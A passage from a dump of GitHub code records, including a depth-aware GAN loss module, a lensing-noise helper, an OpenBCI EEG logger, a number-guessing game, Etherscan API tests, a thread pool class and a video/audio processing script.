depth',\n log_name='loss_d_depth',\n log_format='.3f',\n log_strategy='AVERAGE')\n if self.r1_gamma > 0.0:\n runner.running_stats.add('Loss/Real Gradient Penalty',\n log_name='loss_gp',\n log_format='.1e',\n log_strategy='AVERAGE')\n\n # Settings for generator loss.\n self.g_loss_kwargs = g_loss_kwargs or dict()\n # Factor to shrink the batch size for path length regularization.\n self.pl_batch_shrink = int(self.g_loss_kwargs.get('pl_batch_shrink', 2))\n # Loss weight for perceptual path length regularization.\n self.pl_weight = self.g_loss_kwargs.get('pl_weight', 2.0)\n # Decay factor for perceptual path length regularization.\n self.pl_decay = self.g_loss_kwargs.get('pl_decay', 0.01)\n # How often to perform perceptual path length regularization.\n self.pl_interval = int(self.g_loss_kwargs.get('pl_interval', 4))\n\n if self.pl_interval <= 0:\n self.pl_interval = 1\n self.pl_weight = 0.0\n assert self.pl_batch_shrink >= 1\n assert self.pl_weight >= 0.0\n assert 0.0 <= self.pl_decay <= 1.0\n runner.running_stats.add('Loss/G',\n log_name='loss_g',\n log_format='.3f',\n log_strategy='AVERAGE')\n runner.running_stats.add('Loss/G depth',\n log_name='loss_g_depth',\n log_format='.3f',\n log_strategy='AVERAGE')\n runner.running_stats.add('Loss/G rot depth',\n log_name='loss_g_rot_d',\n log_format='.3f',\n log_strategy='AVERAGE')\n runner.running_stats.add('Loss/G rot rgb',\n log_name='loss_g_rot_rgb',\n log_format='.3f',\n log_strategy='AVERAGE')\n if self.pl_weight > 0.0:\n runner.running_stats.add('Loss/Path Length Penalty RGB',\n log_name='loss_pl_rgb',\n log_format='.1e',\n log_strategy='AVERAGE')\n self.pl_mean_rgb = torch.zeros((), device=runner.device)\n runner.running_stats.add('Loss/Path Length Penalty Depth',\n log_name='loss_pl_d',\n log_format='.1e',\n log_strategy='AVERAGE')\n self.pl_mean_d = torch.zeros(()).cuda()\n\n @staticmethod\n def run_G(runner, batch_size=None, repeat=False, return_angles=False, sync=True):\n \"\"\"Forwards generator.\"\"\"\n\n G_rgb = runner.ddp_models['generator_rgb']\n G_depth = runner.ddp_models['generator_depth']\n G_rgb_kwargs = runner.model_kwargs_train['generator_rgb']\n G_depth_kwargs = runner.model_kwargs_train['generator_depth']\n\n # Prepare latent codes and labels.\n batch_size = batch_size or runner.batch_size\n latent_dim_rgb = runner.models['generator_rgb'].latent_dim\n latent_dim_depth = runner.models['generator_depth'].latent_dim\n label_size = runner.models['generator_rgb'].label_size\n angles = runner.a_dis.sample([batch_size, 1]).to(runner.device)\n if repeat:\n latents_d = torch.randn((batch_size//2, *latent_dim_depth), device=runner.device).repeat(2,1)\n latents_rgb = torch.randn((batch_size//2, *latent_dim_rgb), device=runner.device).repeat(2,1)\n labels = None\n if label_size > 0:\n rnd_labels = torch.randint(\n 0, label_size, (batch_size//2,), device=runner.device).repeat(2)\n labels = F.one_hot(rnd_labels, num_classes=label_size)\n else:\n latents_d = torch.randn((batch_size, *latent_dim_depth), device=runner.device)\n latents_rgb = torch.randn((batch_size, *latent_dim_rgb), device=runner.device)\n labels = None\n if label_size > 0:\n rnd_labels = torch.randint(\n 0, label_size, (batch_size,), device=runner.device)\n labels = F.one_hot(rnd_labels, num_classes=label_size)\n with ddp_sync(G_depth, sync=sync):\n results_d = G_depth(latents_d, angles, labels, **G_depth_kwargs)\n with ddp_sync(G_rgb, sync=sync):\n results_rgb = G_rgb(latents_rgb, results_d, labels, **G_rgb_kwargs)\n\n if return_angles == True:\n return results_d, results_rgb, angles\n else:\n return results_d, results_rgb\n\n @staticmethod\n def run_D(runner, images, labels, depths=None, sync=True):\n \"\"\"Forwards discriminator.\"\"\"\n D = runner.ddp_models['discriminator']\n D_kwargs = runner.model_kwargs_train['discriminator']\n images = runner.augment(images)\n if depths is not None:\n output_images = torch.cat((images, depths), dim=1)\n with ddp_sync(D, sync=sync):\n D_result = D(output_images, labels, **D_kwargs)\n else:\n with ddp_sync(D, sync=sync):\n D_result = D(images, labels, **D_kwargs)\n \n return D_result['score'], D_result['depthimage']\n\n @staticmethod\n def compute_grad_penalty(images, scores):\n \"\"\"Computes gradient penalty.\"\"\"\n with conv2d_gradfix.no_weight_gradients():\n image_grad = torch.autograd.grad(\n outputs=[scores.sum()],\n inputs=[images],\n create_graph=True,\n retain_graph=True,\n only_inputs=True)[0]\n grad_penalty = image_grad.square().sum((1, 2, 3))\n return grad_penalty\n\n def compute_pl_penalty(self, images, latents, depth=False):\n \"\"\"Computes perceptual path length penalty.\"\"\"\n res_h, res_w = images.shape[2:4]\n pl_noise = torch.randn_like(images) / np.sqrt(res_h * res_w)\n with conv2d_gradfix.no_weight_gradients():\n code_grad = torch.autograd.grad(\n outputs=[(images * pl_noise).sum()],\n inputs=[latents],\n create_graph=True,\n retain_graph=True,\n only_inputs=True)[0]\n pl_length = code_grad.square().sum(2).mean(1).sqrt()\n if depth:\n pl_mean_d = (self.pl_mean_d * (1 - self.pl_decay) +\n pl_length.mean() * self.pl_decay)\n self.pl_mean_d.copy_(pl_mean_d.detach())\n pl_penalty = (pl_length - pl_mean_d).pow(2)\n else:\n pl_mean_rgb = (self.pl_mean_rgb * (1 - self.pl_decay) +\n pl_length.mean() * self.pl_decay)\n self.pl_mean_rgb.copy_(pl_mean_rgb.detach())\n pl_penalty = (pl_length - pl_mean_rgb).pow(2)\n return pl_penalty\n\n def g_loss(self, runner, _data, sync=True):\n \"\"\"Computes loss for generator.\"\"\"\n results_d, results_rgb = self.run_G(runner, sync=sync)\n fake_depths, fake_images, labels = results_d['image'], results_rgb['image'], results_rgb['label']\n fake_scores, depthimage = self.run_D(runner, \n images=fake_images,\n labels=labels,\n depths=fake_depths,\n sync=sync)\n g_loss = F.softplus(-fake_scores)\n runner.running_stats.update({'Loss/G': g_loss})\n\n return (g_loss + 0 * depthimage[:,0,0,0]).mean()\n \n def g_depth_loss(self, runner, _data, sync=True):\n results_d, results_rgb = self.run_G(runner, sync=sync)\n fake_depths, fake_images, labels = results_d['image'], results_rgb['image'], results_rgb['label']\n fake_scores, depthimage = self.run_D(runner,\n images=fake_images,\n labels=labels,\n sync=sync)\n loss_Gdepth = torch.nn.functional.cross_entropy(depthimage, torch.floor((fake_depths[:,0]+1)/2*self.num_classes).clamp(0,self.num_classes-1).long())\n runner.running_stats.update({'Loss/G depth': loss_Gdepth})\n return (fake_scores * 0+ self.gdloss * loss_Gdepth).mean() #(fake_scores * 0).mean() + self.gdloss * loss_Gdepth\n\n def d_rot_loss(self, runner, _data, sync=True, occlusion_aware=False):\n if occlusion_aware:\n batch_size = runner.batch_size\n results_d, results_rgb, angles = self.run_G(runner, repeat=True, return_angles=True, sync=sync)\n fake_depths, fake_images = results_d['image'], results_rgb['image']\n output_images = torch.cat((fake_images, fake_depths), dim=1)\n\n new_depth_1, mask_1, new_d_1 = self.change_a(output_images[:(batch_size//2)], angles[:(batch_size//2)], angles[(batch_size//2):], output_images[(batch_size//2):], depth_only=True)\n mask_closer_1 = torch.lt(new_d_1, new_depth_1) \n loss_rotdepth_1 = torch.nn.functional.l1_loss(mask_closer_1*mask_1*new_depth_1, mask_closer_1*mask_1*new_d_1)\n\n new_depth_2, mask_2, new_d_2 = self.change_a(output_images[(batch_size//2):], angles[(batch_size//2):], angles[:(batch_size//2)], output_images[:(batch_size//2)], depth_only=True)\n mask_closer_2 = torch.lt(new_d_2, new_depth_2) \n loss_rotdepth_2 = torch.nn.functional.l1_loss(mask_closer_2*mask_2*new_depth_2, mask_closer_2*mask_2*new_d_2)\n loss_rotdepth = loss_rotdepth_1 + loss_rotdepth_2\n runner.running_stats.update({'Loss/G rot depth': loss_rotdepth})\n return (self.drotloss * loss_rotdepth + fake_images[:,0,0,0]*0).mean() #self.drotloss * loss_rotdepth + (fake_images[:,0,0,0]*0).mean()\n else:\n batch_size = runner.batch_size\n results_d, results_rgb, angles = self.run_G(runner, repeat=True, return_angles=True, sync=sync)\n fake_depths, fake_images = results_d['image'], results_rgb['image']\n # fake_images = runner.augment(fake_images)\n output_images = torch.cat((fake_images, fake_depths), dim=1)\n new_depth, mask, new_d = self.change_a(output_images[:(batch_size//2)], angles[:(batch_size//2)], angles[(batch_size//2):], output_images[(batch_size//2):], depth_only=True)\n loss_rotdepth = torch.nn.functional.l1_loss(mask*new_depth, mask*new_d)\n runner.running_stats.update({'Loss/G rot depth': loss_rotdepth})\n return (self.drotloss * loss_rotdepth + fake_images[:,0,0,0]*0).mean() #self.drotloss * loss_rotdepth + (fake_images[:,0,0,0]*0).mean()\n\n \n\n\n def rgb_rot_loss(self, runner, _data, sync=True, occlusion_aware=False):\n if occlusion_aware:\n batch_size = runner.batch_size\n results_d, results_rgb, angles = self.run_G(runner, repeat=True, return_angles=True, sync=sync)\n fake_depths, fake_images = results_d['image'], results_rgb['image']\n\n # cannot use augmentation to rgb images!\n output_images = torch.cat((fake_images, fake_depths), dim=1)\n\n new_depth_1, new_rgb_1, mask_1, new_d_1 = self.change_a(output_images[:(batch_size//2)], angles[:(batch_size//2)], angles[(batch_size//2):], output_images[(batch_size//2):], depth_only=False)\n mask_closer_1 = torch.lt(new_d_1, new_depth_1)\n loss_rotrgb_1 = torch.nn.functional.l1_loss(mask_closer_1*mask_1*new_rgb_1, mask_closer_1*mask_1*output_images[:(batch_size//2),:3])\n\n new_depth_2, new_rgb_2, mask_2, new_d_2 = self.change_a(output_images[(batch_size//2):], angles[(batch_size//2):], angles[:(batch_size//2)], output_images[:(batch_size//2)], depth_only=False)\n mask_closer_2 = torch.lt(new_d_2, new_depth_2)\n loss_rotrgb_2 = torch.nn.functional.l1_loss(mask_closer_2*mask_2*new_rgb_2, mask_closer_2*mask_2*output_images[(batch_size//2):,:3])\n\n loss_rotrgb = loss_rotrgb_1 + loss_rotrgb_2\n\n runner.running_stats.update({'Loss/G rot rgb': loss_rotrgb})\n return (self.rgbrotloss * loss_rotrgb + fake_depths[:,0,0,0]*0).mean() #self.rgbrotloss * loss_rotrgb + (fake_depths[:,0,0,0]*0).mean()\n else:\n\n\n batch_size = runner.batch_size\n results_d, results_rgb, angles = self.run_G(runner, repeat=True, return_angles=True, sync=sync)\n fake_depths, fake_images = results_d['image'], results_rgb['image']\n\n # cannot use augmentation to rgb images!\n output_images = torch.cat((fake_images, fake_depths), dim=1)\n\n new_depth, new_rgb, mask, new_d = self.change_a(output_images[:(batch_size//2)], angles[:(batch_size//2)], angles[(batch_size//2):], output_images[(batch_size//2):], depth_only=False)\n loss_rotrgb = torch.nn.functional.l1_loss(mask*new_rgb, mask*output_images[:(batch_size//2),:3])\n\n runner.running_stats.update({'Loss/G rot rgb': loss_rotrgb})\n return (self.rgbrotloss * loss_rotrgb + fake_depths[:,0,0,0]*0).mean() #self.rgbrotloss * loss_rotrgb + (fake_depths[:,0,0,0]*0).mean()\n \n\n def g_reg(self, runner, _data, sync=True):\n \"\"\"Computes the regularization loss for generator.\"\"\"\n if runner.iter % self.pl_interval != 1 or self.pl_weight == 0.0:\n return None\n\n batch_size = max(runner.batch_size // self.pl_batch_shrink, 1)\n results_d, results_rgb = self.run_G(runner, batch_size=batch_size, sync=sync)\n \n pl_penalty_d = self.compute_pl_penalty(\n results_d['image'], results_d['wp'], depth=True)\n runner.running_stats.update(\n {'Loss/Path Length Penalty Depth': pl_penalty_d})\n pl_penalty_d = pl_penalty_d * self.pl_weight * self.pl_interval\n\n pl_penalty_rgb = self.compute_pl_penalty(\n results_rgb['image'], results_rgb['wp'], depth=False)\n runner.running_stats.update(\n {'Loss/Path Length Penalty RGB': pl_penalty_rgb})\n pl_penalty_rgb = pl_penalty_rgb * self.pl_weight * self.pl_interval\n\n return (results_rgb['image'][:, 0, 0, 0] * 0 + results_d['image'][:,0,0,0]*0+ pl_penalty_d + pl_penalty_rgb).mean()\n\n def d_fake_loss(self, runner, _data, sync=True):\n \"\"\"Computes discriminator loss on generated images.\"\"\"\n results_d, results_rgb = self.run_G(runner, sync=False)\n fake_depths, fake_images, labels = results_d['image'], results_rgb['image'], results_rgb['label']\n fake_scores, depthimage = self.run_D(\n runner, fake_images, labels, depths=fake_depths, sync=sync)\n d_fake_loss = F.softplus(fake_scores)\n runner.running_stats.update({'Loss/D Fake': d_fake_loss})\n\n return (d_fake_loss + depthimage[:,0,0,0]*0).mean()\n\n def d_real_loss(self, runner, data, sync=True):\n \"\"\"Computes discriminator loss on real images.\"\"\"\n real_images = data['image'].detach()\n real_rgbs = real_images[:,:3]\n depths = real_images[:,3].unsqueeze(1)\n\n real_labels = data.get('label', None)\n real_scores, depthimage = self.run_D(runner, real_rgbs, real_labels, depths=depths, sync=sync)\n d_real_loss = F.softplus(-real_scores)\n runner.running_stats.update({'Loss/D Real': d_real_loss})\n\n # Adjust the augmentation strength if needed.\n if hasattr(runner.augment, 'prob_tracker'):\n runner.augment.prob_tracker.update(real_scores.sign())\n\n return (d_real_loss + depthimage[:,0,0,0]* 0).mean()\n\n def d_depth_loss(self, runner, data, sync=True):\n real_images = data['image'].detach()\n real_rgbs = real_images[:,:3]\n real_labels = data.get('label', None)\n real_scores, depthimage = self.run_D(runner, real_rgbs, real_labels, sync=sync)\n loss_Ddepth = torch.nn.functional.cross_entropy(depthimage, torch.floor((real_images[:,3]+1)/2*self.num_classes).clamp(0,self.num_classes-1).long())\n\n runner.running_stats.update({'Loss/D depth': loss_Ddepth})\n\n return (self.ddloss * loss_Ddepth + real_scores * 0).mean() #self.ddloss * loss_Ddepth + (real_scores * 0).mean()\n\n def d_reg(self, runner, data, sync=True):\n \"\"\"Computes the regularization loss for discriminator.\"\"\"\n if runner.iter % self.r1_interval != 1 or self.r1_gamma == 0.0:\n return None\n\n real_images = data['image'].detach().requires_grad_(True)\n real_labels = data.get('label', None)\n\n real_scores, depthimage = self.run_D(runner, real_images[:,:3], real_labels, depths=real_images[:,3].unsqueeze(1), sync=sync)\n r1_penalty = self.compute_grad_penalty(images=real_images,\n scores=real_scores)\n runner.running_stats.update({'Loss/Real Gradient Penalty': r1_penalty})\n r1_penalty = r1_penalty * (self.r1_gamma * 0.5) * self.r1_interval\n \n # Adjust the augmentation strength if needed.\n if hasattr(runner.augment, 'prob_tracker'):\n runner.augment.prob_tracker.update(real_scores.sign())\n\n return (real_scores * 0 + r1_penalty+ depthimage[:,0,0,0]*0).mean()\n\n def unproject(self,depth_map, K):\n \"\"\"\n depth_map: h, w\n K: 3, 3\n \"\"\"\n N, H, W = depth_map.shape\n y, x = torch.meshgrid(torch.arange(H), torch.arange(W))\n y = y.cuda().unsqueeze(0).repeat(N,1,1)\n x = x.cuda().unsqueeze(0).repeat(N,1,1)\n xy_map = torch.stack([x, y], axis=3) * depth_map[..., None]\n xyz_map = torch.cat([xy_map, depth_map[..., None]], axis=-1)\n xyz = xyz_map.view(-1, 3)\n xyz = torch.matmul(xyz, torch.transpose(torch.inverse(K), 0, 1))\n xyz_map = xyz.view(N, H, W, 3)\n return xyz_map\n\n def calculate_rotation(self,theta, axis):\n rotdir = torch.tensor(axis).cuda().unsqueeze(0).repeat(theta.size(0),1) * theta\n rotmat = tgm.angle_axis_to_rotation_matrix(rotdir)[:,:3,:3]\n return rotmat\n\n def change_a(self, img, a1, a2, img2, depth_only=False):\n s=-0.13\n depth = img[:,3]\n depth = (depth+1)/2\n depth2 = img2[:,3].unsqueeze(1)\n depth2 = (depth2+1)/2\n depth = depth - s\n K = torch.tensor([[260, 0., depth.size(2) / 2], [0., 260, depth.size(1) / 2],[0., 0., 1.]]).cuda()\n xyz_map = self.unproject(depth, K)\n\n axis = [0, -1, 0]\n theta = a2-a1\n rot = self.calculate_rotation(theta, axis)\n\n N, H, W, C = xyz_map.size()\n xyz = xyz_map.view(N, -1, 3)\n\n #translation\n ori_x = ((torch.max(xyz[:,:,0],dim=1)[0]+torch.min(xyz[:,:,0],dim=1)[0])/2).unsqueeze(1)\n ori_z = ((torch.max(xyz[:,:,2],dim=1)[0]+torch.min(xyz[:,:,2],dim=1)[0])/2).unsqueeze(1)\n\n xyz[:,:,0] = xyz[:,:,0]-ori_x\n xyz[:,:,2] = xyz[:,:,2]-ori_z\n xyz = torch.bmm(xyz, rot)\n xyz[:,:,0] = xyz[:,:,0]+ori_x\n xyz[:,:,2] = xyz[:,:,2]+ori_z\n\n # project\n xyz = torch.matmul(xyz, torch.transpose(K,0,1))\n xy = xyz[:, :, :2] / (xyz[:, :, 2:] + 1e-8)\n xy = xy.view(N, H, W, 2)\n z_r = xyz[:, :, 2].view(N,H,W)\n\n grid_ = 2* xy / depth.size(2) - 1\n mask = 1 - ((grid_[:,:,:,0] < -1) | (grid_[:,:,:,0] > 1) | (grid_[:,:,:,1] < -1) | (grid_[:,:,:,1] > 1)).float()\n \n new_depth = grid_sample(depth2-s, grid_, align_corners=False)\n if not depth_only:\n new_rgb = grid_sample(img2[:,:3], grid_, align_corners=False)\n return new_depth, new_rgb, mask.unsqueeze(1), z_r.unsqueeze(1)\n else:\n return new_depth, mask.unsqueeze(1), z_r.unsqueeze(1)\n","repo_name":"VivianSZF/depthgan","sub_path":"runners/losses/depthgan_loss.py","file_name":"depthgan_loss.py","file_ext":"py","file_size_in_byte":22300,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"78"} +{"seq_id":"2900639739","text":"import os\nimport numpy as nm\nimport abl_lib as abl\nimport ablcamb_lib as acl\nimport pipe_tools_mbp as ptm\n\n\n\n\n\n\ndef rec_noiseTT(cltt, noiset_debeamed ,lmaxphi):\n\n## take numpy arrays as input and output, even if it writes stuff on disk\n \n##cltot=abl.fits2cl(clttl_th_file, lmax)+ (noise *nm.pi/180./60.)**2 / beam**2\n\n##cl_lens_BN=abl.fits2cl(clttl_th_file, lmax)*beam**2+(noise *nm.pi/180./60.)**2\n cltot= cltt+ noiset_debeamed\n cltot[0:2]=0\n f1=1.0/cltot\n f1[0:2]=0\n \n f2=cltt/cltot\n f2[0:2]=0\n \n f1_file=ptm.path_tmp+'f1_file.fits'\n f2_file=ptm.path_tmp+'f2_file.fits'\n\n abl.cl2fits(f1, f1_file, lmaxphi)\n abl.cl2fits(f2, f2_file, lmaxphi)\n\n cltot_file=ptm.path_tmp+'cltot.fits'\n cltt_file=ptm.path_tmp+'cltt.fits' \n abl.cl2fits(cltot, cltot_file, lmaxphi)\n \n abl.cl2fits(cltt,cltt_file, lmaxphi)\n\n\n N0Ef=ptm.path_tmp+'N0E.fits'\n N0Bf=ptm.path_tmp+'N0B.fits'\n Af=ptm.path_tmp+'A.fits'\n ptm.launch_estim(compute_biases_only='.true.', normalize='.true.', map_file1='', nside=1024, lmax=lmaxphi,f1_file=f1_file, f2_file=f2_file, underlying_cl_file=cltt_file ,cl_tot_file= cltot_file ,theta_FWHM=5,beam_file='',cl_estim_grad='' ,cl_estim_curl= '' ,def_field_grad= '' ,def_field_curl= '',N0E= '!'+N0Ef ,N0B='!'+N0Bf ,A= '!'+Af ,cl_unlens=cltt_file ,namelist_filename=ptm.path_nml+'estim_biais.nml', extra_depth=[] )\n \n N0E=abl.fits2cl(N0Ef, lmaxphi)\n l=nm.arange(lmaxphi+1)\n N0E/=(l*(l+1))\n N0E[0:2]=0\n return N0E\n \n \n\n\n \n#launch_estim(compute_biases_only=, normalize=, map_file1=,map_file2=, nside=, lmax=,f1_file=, f2_file=, underlying_cl_file=,cl_tot_file=,theta_FWHM=,beam_file=,cl_estim_grad=,cl_estim_curl=,def_field_grad=,def_field_curl=,N0E=,N0B=,A=,cl_unlens=,N1E=,N1B=,cl_phi_file=,N2= ,namelist_filename=, extra_depth=[] )\n\n\n","repo_name":"aurelienbl/pylib","sub_path":"abl_lensing.py","file_name":"abl_lensing.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"15954429773","text":"\"\"\"\r\nCollects EEG data from OpenBCI.\r\n\r\nSee documentation for the API https://brainflow.readthedocs.io/en/stable/UserAPI.html#python-api-reference\r\n\r\ncyton daisy\r\n--board-id 2\r\nsynthetic board\r\n--board-id -1\r\n\"\"\"\r\n\r\nimport argparse\r\nimport time\r\nimport csv\r\n\r\nfrom brainflow.board_shim import BoardShim, BrainFlowInputParams, BoardIds\r\nfrom brainflow.data_filter import DataFilter\r\n\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--serial-port', type=str, help='serial port', required=False, default='/dev/ttyUSB0')\r\nparser.add_argument('--board-id', type=int, help='board id, check docs to get a list of supported boards', required=False, default=BoardIds.CYTON_DAISY_BOARD) #Use BoardIds.SYNTHETIC_BOARD if you want to test with synthetic board\r\nparser.add_argument('--master-board', type=int, help='master board id for streaming and playback boards', required=False, default=BoardIds.NO_BOARD)\r\nargs = parser.parse_args()\r\n\r\nparams = BrainFlowInputParams()\r\nparams.serial_port = args.serial_port\r\nparams.board_id = args.board_id\r\nparams.master_board = args.master_board\r\n\r\n\r\nmoment = time.strftime('%Y-%m-%d__%H-%M-%S', time.localtime())\r\n\r\nwith open('sessions/EEG-'+moment+'.csv', 'w+') as f:\r\n\twriter = csv.writer(f, delimiter='\\t', dialect='excel')\r\n\twriter.writerow(['Sample Index', 'EXG Channel 0', 'EXG Channel 1', 'EXG Channel 2', 'EXG Channel 3', 'EXG Channel 4', 'EXG Channel 5', 'EXG Channel 6', 'EXG Channel 7', 'EXG Channel 8', 'EXG Channel 9', 'EXG Channel 10', 'EXG Channel 11', 'EXG Channel 12', 'EXG Channel 13', 'EXG Channel 14', 'EXG Channel 15', 'Accel Channel 0', 'Accel Channel 1', 'Accel Channel 2', 'Other', 'Other', 'Other', 'Other', 'Other', 'Other', 'Other', 'Analog Channel 0', 'Analog Channel 1', 'Analog Channel 2', 'Timestamp', 'Other'])\r\n\tf.close()\r\n\r\nboard = BoardShim(args.board_id, params)\r\nboard.prepare_session() #Prepare streaming session, init resources, you need to call it before any other BoardShim object methods\r\nboard.start_stream () #Start streaming data, this method stores data in ring buffer\r\n\r\nwhile True:\r\n\ttry: \r\n \ttime.sleep(4)\r\n \tdata = board.get_board_data() #Get all data and remove it from internal buffer\r\n \tDataFilter.write_file(data, 'sessions/EEG-'+moment+'.csv', 'a')\r\n\t\t\r\n\texcept KeyboardInterrupt:\r\n\t\tdata = board.get_board_data()\r\n\t\tDataFilter.write_file(data, 'sessions/EEG-'+moment+'.csv', 'a')\r\n\t\tboard.release_session() #Release all resources\r\n\t\tbreak\r\n","repo_name":"Latexinz/AI-EEG","sub_path":"EEG.py","file_name":"EEG.py","file_ext":"py","file_size_in_byte":2493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28714245583","text":"import random\n\nis_playing = True\n\nwhile is_playing:\n print('================================')\n print(' Up and Down Game ')\n print('================================')\n\n answer = random.randint(1, 10000) # 1이상 10000이하의 난수\n counts = 0 # 몇 번만에 정답을 맞혔는지 담는 변수\n\n # 여기부터 코드를 작성하세요.\n numb = 0\n print(answer)\n retry = True\n game = True\n while retry == True:\n while game == True:\n counts += 1\n numb = int(input('1이상 10000이하의 숫자를 입력하세요. : '))\n if numb <= 0:\n print('잘못된 범위의 숫자를 입력하셨습니다. 다시 입력해주세요.\\n')\n continue\n elif numb > 10000:\n print('잘못된 범위의 숫자를 입력하셨습니다. 다시 입력해주세요.\\n')\n continue\n elif numb == answer:\n print(f'Correct!!! {counts}회 만에 정답을 맞히셨습니다.\\n')\n game = False\n elif 10000 >= numb >= 1:\n print('Up!!!\\n') if numb < answer else print('Down!!!\\n')\n break\n retry = input('게임을 재시작 하시려면 y, 종료하시려면 n을 입력하세요 : \\n')\n if retry == 'y':\n continue\n elif retry == 'n':\n retry = False\n break\n ","repo_name":"minu-j/TIL","sub_path":"Today Minu Learned/Python/220721/practice/01_updown.py","file_name":"01_updown.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71359937853","text":"import unittest\nimport warnings\n\nfrom etherscan.transactions import Transactions\n\nAPI_KEY = 'YourAPIkey'\nTX_1 = '0x15f8e5ea1079d9a0bb04a4c58ae5fe7654b5b2b4463375ff7ffb490aa0032f3a'\nTX_2 = '0x513c1ba0bebf66436b5fed86ab668452b7805593c05073eb2d51d3a52f480a76'\nERROR_STRING = 'Bad jump destination'\n\n\nclass TransactionsTestCase(unittest.TestCase):\n\n def setUp(self):\n warnings.simplefilter('ignore', ResourceWarning)\n\n def test_get_status(self):\n api = Transactions(api_key=(API_KEY))\n status = api.get_status(TX_1)\n self.assertEqual(status['isError'], '1')\n self.assertEqual(status['errDescription'], ERROR_STRING)\n\n def test_get_tx_receipt_status(self):\n api = Transactions(api_key=(API_KEY))\n receipt_status = api.get_tx_receipt_status(TX_2)\n self.assertEqual(receipt_status['status'], '1')\n","repo_name":"corpetty/py-etherscan-api","sub_path":"tests/test_transactions.py","file_name":"test_transactions.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":500,"dataset":"github-code","pt":"78"} +{"seq_id":"15607777408","text":"import traceback\nimport threading\nimport random\nimport time\nimport logging\n\nlog = logging.getLogger(__name__)\n\n\nclass Pool(object):\n '''\n Represents a pool.\n '''\n pause = None\n items = None\n lock = None\n def __init__(self, pause=0.1):\n '''\n '''\n self.pause = pause\n self.items = []\n self.lock = threading.Lock()\n \n def __len__(self):\n '''\n '''\n return len(self.items)\n\n def __str__(self):\n '''\n '''\n ret = []\n with self.lock:\n map(lambda x: ret.append(str(x)), self.items)\n return \", \".join(ret)\n \n def append(self, item):\n '''\n Adds an item to the first place of the pool.\n '''\n if hasattr(item, 'getId') and callable(getattr(item, 'getId')):\n with self.lock:\n self.items.insert(0, item)\n else:\n raise Exception('Trying to add an item with no getId method.')\n\n def pop(self):\n '''\n Pops the last item.\n '''\n with self.lock:\n item = self.items.pop()\n return item\n\n def remove(self, id):\n '''\n Removes the link with id 'id' from the pool.\n PRE. the pool must have a link with id 'id' or another thread has \n that link and will return it to the pool in the future.\n PRE. Items have an 'getId' operation.\n '''\n removed = threading.local()\n removed = False\n while (not removed):\n with self.lock:\n try:\n log.debug('trying to remove the link:%s' % (id))\n l = filter(lambda x: x.getId() == id, self.items)[0]\n self.items.remove(l)\n removed = True\n except:\n log.debug('link:%s is not in the pool. Re-trying' % (id))\n #trace = traceback.format_exc()\n #log.debug('Exception captured. traceback:%s' % (repr(trace)))\n log.debug('giving a break, sleeping little bit')\n time.sleep(self.pause)\n\n def shuffle(self):\n '''\n Shuffles the links.\n ''' \n with self.lock:\n random.shuffle(self.items)\n","repo_name":"csiwek/sipptam","sub_path":"src/sipptam/thread/Pool.py","file_name":"Pool.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"70472772092","text":"#!/usr/bin/python3\n\nimport cv2\nimport numpy as np\nimport subprocess\nimport threading\nimport traceback\nfrom collections import deque\nfrom sortedcontainers import SortedDict\nimport gi\ngi.require_version('Gst', '1.0')\nfrom gi.repository import Gst, GLib, GObject\nimport queue\nimport sys\nimport json\n\ninput_file = sys.argv[1] if len(sys.argv) > 1 else 'input.mp4'\noutput_file = sys.argv[2] if len(sys.argv) > 2 else 'output.mp4'\naudio_loop = GLib.MainLoop()\n\ndef on_message(bus, message):\n if message.type == Gst.MessageType.EOS:\n audio_loop.quit()\n elif message.type == Gst.MessageType.WARNING:\n err, debug = message.parse_warning()\n print('Warning: %s' % err, debug)\n elif message.type == Gst.MessageType.ERROR:\n err, debug = message.parse_error()\n print('Error: %s' % err, debug)\n audio_loop.quit()\n return True\n\ndef on_level(bus, message, audio_levels, condition):\n if message.get_structure().get_name() == 'level':\n audio_level = message.get_structure().get_value('peak')[0]\n timestamp = message.get_structure().get_value('timestamp')\n audio_levels[timestamp] = audio_level\n with condition:\n condition.notify_all()\n return True\n\ndef get_rotation(video_file):\n command = ['exiftool', '-Rotation', '-json', video_file]\n process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n stdout, stderr = process.communicate()\n\n metadata = json.loads(stdout)[0]\n return int(metadata.get('Rotation'))\n\ndef extract_audio(audio_levels, condition):\n print(\"Generating audio waveform data\")\n\n pipeline = Gst.parse_launch(f'filesrc location={input_file} ! decodebin ! audioconvert ! audio/x-raw,channels=1 ! level ! fakesink')\n\n bus = pipeline.get_bus()\n bus.add_signal_watch()\n bus.connect('message', on_message)\n bus.connect('message::element', on_level, audio_levels, condition)\n\n pipeline.set_state(Gst.State.PLAYING)\n try:\n audio_loop.run()\n except:\n pass\n pipeline.set_state(Gst.State.NULL)\n\n with condition:\n condition.notify_all()\n\ndef order_points(points):\n center = np.mean(points, axis=0)\n angles = np.arctan2(points[:,1] - center[1], points[:,0] - center[0])\n points = points[np.argsort(angles)]\n\n return np.roll(points, shift=-1, axis=0)\n\ndef draw_biggest_object(image):\n image_height, image_width = image.shape[:2]\n\n grayscale_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n _, quantized_image = cv2.threshold(grayscale_image, 100, 255, cv2.THRESH_BINARY)\n objects, _ = cv2.findContours(quantized_image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n\n biggest_object = max(objects, key=cv2.contourArea)\n hull = cv2.convexHull(biggest_object)\n epsilon = 0.01 * cv2.arcLength(hull, True)\n hull = cv2.approxPolyDP(hull, epsilon, True)\n\n if len(hull) > 4 and len(hull) < 8:\n unaligned_box_around_object = cv2.minAreaRect(hull)\n hull = np.intp(cv2.boxPoints(unaligned_box_around_object))\n\n cv2.drawContours(image, [hull], -1, (0, 255, 0), 3)\n return image\n\ndef transform_image_to_be_axis_aligned(image, width, 